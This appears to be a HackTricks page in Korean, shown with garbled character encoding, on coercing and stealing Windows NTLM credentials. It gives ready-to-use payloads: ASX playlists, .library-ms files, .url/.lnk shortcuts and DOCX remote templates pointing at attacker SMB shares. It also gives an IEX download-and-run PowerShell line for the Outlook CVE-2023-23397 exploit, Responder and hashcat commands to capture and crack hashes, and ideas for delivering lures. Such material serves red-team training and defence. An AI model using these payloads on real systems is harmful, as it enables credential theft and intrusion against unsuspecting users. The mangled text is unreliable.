NTLM creds๋ฅผ ํ›”์น  ์ˆ˜ ์žˆ๋Š” ์žฅ์†Œ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๋‹ค์Œ์˜ ํ›Œ๋ฅญํ•œ ์•„์ด๋””์–ด๋“ค์„ ํ™•์ธํ•˜์„ธ์š”: https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/ โ€” ์˜จ๋ผ์ธ์—์„œ microsoft word ํŒŒ์ผ์„ ๋‹ค์šด๋กœ๋“œํ•˜๋Š” ๊ฒฝ์šฐ๋ถ€ํ„ฐ ntlm leaks source: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md ๋ฐ https://github.com/p0dalirius/windows-coerced-authentication-methods๊นŒ์ง€ ํ™•์ธํ•ด ๋ณด์„ธ์š”.

Windows Media Player playlists (.ASX/.WAX)

์ œ์–ดํ•˜๋Š” Windows Media Player playlist๋ฅผ ๋Œ€์ƒ์ด ์—ด๊ฑฐ๋‚˜ ๋ฏธ๋ฆฌ๋ณด๊ธฐํ•˜๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค๋ฉด, ํ•ญ๋ชฉ์„ UNC ๊ฒฝ๋กœ๋กœ ์ง€์ •ํ•ด์„œ Netโ€‘NTLMv2๋ฅผ leakํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. WMP๋Š” ์ฐธ์กฐ๋œ ๋ฏธ๋””์–ด๋ฅผ SMB๋ฅผ ํ†ตํ•ด ๊ฐ€์ ธ์˜ค๋ ค๊ณ  ์‹œ๋„ํ•˜๋ฉฐ ์•”๋ฌต์ ์œผ๋กœ ์ธ์ฆํ•ฉ๋‹ˆ๋‹ค.

Example payload:

<asx version="3.0">
<title>Leak</title>
<entry>
<title></title>
<ref href="file://ATTACKER_IP\\share\\track.mp3" />
</entry>
</asx>

์ˆ˜์ง‘ ๋ฐ ํฌ๋ž˜ํ‚น ํ๋ฆ„:

# Capture the authentication
sudo Responder -I <iface>

# Crack the captured NetNTLMv2
hashcat hashes.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt

ZIP์— ํฌํ•จ๋œ .library-ms NTLM leak (CVE-2025-24071/24055)

Windows Explorer๋Š” ZIP ์•„์นด์ด๋ธŒ ๋‚ด์—์„œ ์ง์ ‘ ์—ด๋ฆด ๋•Œ .library-ms ํŒŒ์ผ์„ ์•ˆ์ „ํ•˜์ง€ ์•Š๊ฒŒ ์ฒ˜๋ฆฌํ•ฉ๋‹ˆ๋‹ค. ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ •์˜๊ฐ€ ์›๊ฒฉ UNC ๊ฒฝ๋กœ(์˜ˆ: \attacker\share)๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋ฉด, ZIP ์•ˆ์—์„œ .library-ms๋ฅผ ๋‹จ์ˆœํžˆ ์ฐพ์•„๋ณด๊ฑฐ๋‚˜ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ๋งŒ์œผ๋กœ Explorer๊ฐ€ ํ•ด๋‹น UNC๋ฅผ ์—ด๊ฑฐํ•˜๊ณ  ๊ณต๊ฒฉ์ž์—๊ฒŒ NTLM ์ธ์ฆ์„ ์ „์†กํ•ฉ๋‹ˆ๋‹ค. ์ด๋กœ ์ธํ•ด NetNTLMv2๊ฐ€ ์ƒ์„ฑ๋˜๋ฉฐ, cracked offline๋˜๊ฑฐ๋‚˜ ์ž ์žฌ์ ์œผ๋กœ relayed๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์ž UNC๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ์ตœ์†Œ .library-ms

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<version>6</version>
<name>Company Documents</name>
<isLibraryPinned>false</isLibraryPinned>
<iconReference>shell32.dll,-235</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<simpleLocation>
<url>\\10.10.14.2\share</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>

์šด์˜ ๋‹จ๊ณ„

  • ์œ„์˜ XML๋กœ .library-ms ํŒŒ์ผ์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค (IP/hostname์„ ์„ค์ •ํ•˜์„ธ์š”).
  • ์ด๋ฅผ ZIP์œผ๋กœ ์••์ถ•ํ•ฉ๋‹ˆ๋‹ค (on Windows: Send to โ†’ Compressed (zipped) folder) ๊ทธ๋ฆฌ๊ณ  ZIP์„ ๋Œ€์ƒ์— ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค.
  • NTLM capture listener๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ํ”ผํ•ด์ž๊ฐ€ ZIP ๋‚ด๋ถ€์—์„œ .library-ms๋ฅผ ์—ด ๋•Œ๊นŒ์ง€ ๊ธฐ๋‹ค๋ฆฝ๋‹ˆ๋‹ค.

Outlook ์บ˜๋ฆฐ๋” ์•Œ๋ฆผ ์‚ฌ์šด๋“œ ๊ฒฝ๋กœ (CVE-2023-23397) โ€“ zeroโ€‘click Netโ€‘NTLMv2 leak

Microsoft Outlook for Windows๋Š” ์บ˜๋ฆฐ๋” ํ•ญ๋ชฉ์—์„œ ํ™•์žฅ MAPI ํ”„๋กœํผํ‹ฐ PidLidReminderFileParameter๋ฅผ ์ฒ˜๋ฆฌํ–ˆ์Šต๋‹ˆ๋‹ค. ํ•ด๋‹น ํ”„๋กœํผํ‹ฐ๊ฐ€ UNC ๊ฒฝ๋กœ(์˜ˆ: \attacker\share\alert.wav)๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋ฉด, ๋ฆฌ๋งˆ์ธ๋”๊ฐ€ ์šธ๋ฆด ๋•Œ Outlook์€ SMB ๊ณต์œ ์— ์ ‘์†ํ•˜์—ฌ ํด๋ฆญ ์—†์ด ์‚ฌ์šฉ์ž์˜ Netโ€‘NTLMv2๋ฅผ leakํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฌธ์ œ๋Š” 2023๋…„ 3์›” 14์ผ์— ํŒจ์น˜๋˜์—ˆ์ง€๋งŒ, ๋ ˆ๊ฑฐ์‹œ/๋ฏธ์—…๋ฐ์ดํŠธ๋œ ์‹œ์Šคํ…œ๊ณผ ๊ณผ๊ฑฐ ์ธ์‹œ๋˜ํŠธ ๋Œ€์‘์—๋Š” ์—ฌ์ „ํžˆ ๋งค์šฐ ๊ด€๋ จ์ด ์žˆ์Šต๋‹ˆ๋‹ค.

Quick exploitation with PowerShell (Outlook COM):

# Run on a host with Outlook installed and a configured mailbox
IEX (iwr -UseBasicParsing https://raw.githubusercontent.com/api0cradle/CVE-2023-23397-POC-Powershell/main/CVE-2023-23397.ps1)
Send-CalendarNTLMLeak -recipient user@example.com -remotefilepath "\\10.10.14.2\share\alert.wav" -meetingsubject "Update" -meetingbody "Please accept"
# Variants supported by the PoC include \\host@80\file.wav and \\host@SSL@443\file.wav

๋ฆฌ์Šค๋„ˆ ์ธก:

sudo responder -I eth0  # or impacket-smbserver to observe connections

์ฐธ๊ณ 

  • ํ”ผํ•ด์ž๋Š” ์•Œ๋ฆผ์ด ํŠธ๋ฆฌ๊ฑฐ๋  ๋•Œ Outlook for Windows๋งŒ ์‹คํ–‰ ์ค‘์ด๋ฉด ๋œ๋‹ค.
  • ์ด leak๋Š” Netโ€‘NTLMv2๋ฅผ ์ƒ์„ฑํ•˜์—ฌ offline cracking์ด๋‚˜ relay์— ์ ํ•ฉํ•˜๋‹ค( not passโ€‘theโ€‘hash).

.LNK/.URL ์•„์ด์ฝ˜ ๊ธฐ๋ฐ˜ ์ œ๋กœโ€‘ํด๋ฆญ NTLM leak (CVEโ€‘2025โ€‘50154 โ€“ bypass of CVEโ€‘2025โ€‘24054)

Windows Explorer๋Š” ๋ฐ”๋กœ๊ฐ€๊ธฐ ์•„์ด์ฝ˜์„ ์ž๋™์œผ๋กœ ๋ Œ๋”๋งํ•œ๋‹ค. ์ตœ๊ทผ ์—ฐ๊ตฌ์—์„œ๋Š” Microsoft์˜ 2025๋…„ 4์›” UNCโ€‘icon shortcuts ํŒจ์น˜ ์ดํ›„์—๋„, ๋ฐ”๋กœ๊ฐ€๊ธฐ ๋Œ€์ƒ(target)์„ UNC ๊ฒฝ๋กœ์— ํ˜ธ์ŠคํŠธํ•˜๊ณ  ์•„์ด์ฝ˜์€ ๋กœ์ปฌ์— ๋‘๋ฉด ํด๋ฆญ ์—†์ด NTLM ์ธ์ฆ์„ ํŠธ๋ฆฌ๊ฑฐํ•  ์ˆ˜ ์žˆ์Œ์ด ๋ฐํ˜€์กŒ๋‹ค(ํŒจ์น˜ ์šฐํšŒ๋กœ CVEโ€‘2025โ€‘50154๋กœ ์ง€์ •๋จ). ๋‹จ์ง€ ํด๋”๋ฅผ ๋ณด๋Š” ๊ฒƒ๋งŒ์œผ๋กœ Explorer๊ฐ€ ์›๊ฒฉ ๋Œ€์ƒ์—์„œ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋ฅผ ๊ฐ€์ ธ์™€ ๊ณต๊ฒฉ์ž SMB ์„œ๋ฒ„๋กœ NTLM์„ ์ „์†กํ•œ๋‹ค.

์ตœ์†Œ Internet Shortcut payload (.url):

[InternetShortcut]
URL=http://intranet
IconFile=\\10.10.14.2\share\icon.ico
IconIndex=0

PowerShell์„ ํ†ตํ•œ Program Shortcut payload (.lnk):

$lnk = "$env:USERPROFILE\Desktop\lab.lnk"
$w = New-Object -ComObject WScript.Shell
$sc = $w.CreateShortcut($lnk)
$sc.TargetPath = "\\10.10.14.2\share\payload.exe"  # remote UNC target
$sc.IconLocation = "C:\\Windows\\System32\\SHELL32.dll" # local icon to bypass UNC-icon checks
$sc.Save()

Delivery ideas

  • ZIP์— shortcut์„ ๋„ฃ์–ด ํ”ผํ•ด์ž๊ฐ€ ์ฐพ์•„๋ณด๋„๋ก ์œ ๋„.
  • ํ”ผํ•ด์ž๊ฐ€ ์—ด์–ด๋ณผ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ share์— shortcut์„ ๋‘”๋‹ค.
  • ๊ฐ™์€ ํด๋”์˜ ๋‹ค๋ฅธ lure files์™€ ํ•จ๊ป˜ ๋ฐฐ์น˜ํ•ด Explorer์—์„œ ์•„์ดํ…œ์„ ๋ฏธ๋ฆฌ๋ณด๊ธฐํ•˜๋„๋ก ํ•œ๋‹ค.

Office remote template injection (.docx/.dotm) to coerce NTLM

Office ๋ฌธ์„œ๋Š” ์™ธ๋ถ€ template๋ฅผ ์ฐธ์กฐํ•  ์ˆ˜ ์žˆ๋‹ค. ์ฒจ๋ถ€๋œ template๋ฅผ UNC ๊ฒฝ๋กœ๋กœ ์„ค์ •ํ•˜๋ฉด ๋ฌธ์„œ๋ฅผ ์—ด ๋•Œ SMB๋กœ ์ธ์ฆ์ด ์ˆ˜ํ–‰๋œ๋‹ค.

Minimal DOCX relationship changes (inside word/):

  1. word/settings.xml์„ ํŽธ์ง‘ํ•˜๊ณ  ์ฒจ๋ถ€๋œ template ์ฐธ์กฐ๋ฅผ ์ถ”๊ฐ€:
<w:attachedTemplate r:id="rId1337" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"/>
  1. word/_rels/settings.xml.rels๋ฅผ ํŽธ์ง‘ํ•˜๊ณ  rId1337์„ ๊ท€ํ•˜์˜ UNC๋กœ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ์ง€์ •ํ•˜์‹ญ์‹œ์˜ค:
<Relationship Id="rId1337" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="\\\\10.10.14.2\\share\\template.dotm" TargetMode="External" xmlns="http://schemas.openxmlformats.org/package/2006/relationships"/>
  1. .docx๋กœ ์žฌํŒจํ‚ค์ง•ํ•˜์—ฌ ์ „๋‹ฌํ•œ๋‹ค. SMB capture listener๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ์—ฐ๊ฒฐ์ด ์—ด๋ฆด ๋•Œ๊นŒ์ง€ ๊ธฐ๋‹ค๋ฆฐ๋‹ค.

์บก์ฒ˜ ์ดํ›„ NTLM relaying ๋˜๋Š” abusing์— ๊ด€ํ•œ ์•„์ด๋””์–ด๋Š” ๋‹ค์Œ์„ ํ™•์ธํ•˜์„ธ์š”:

HackTricks

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ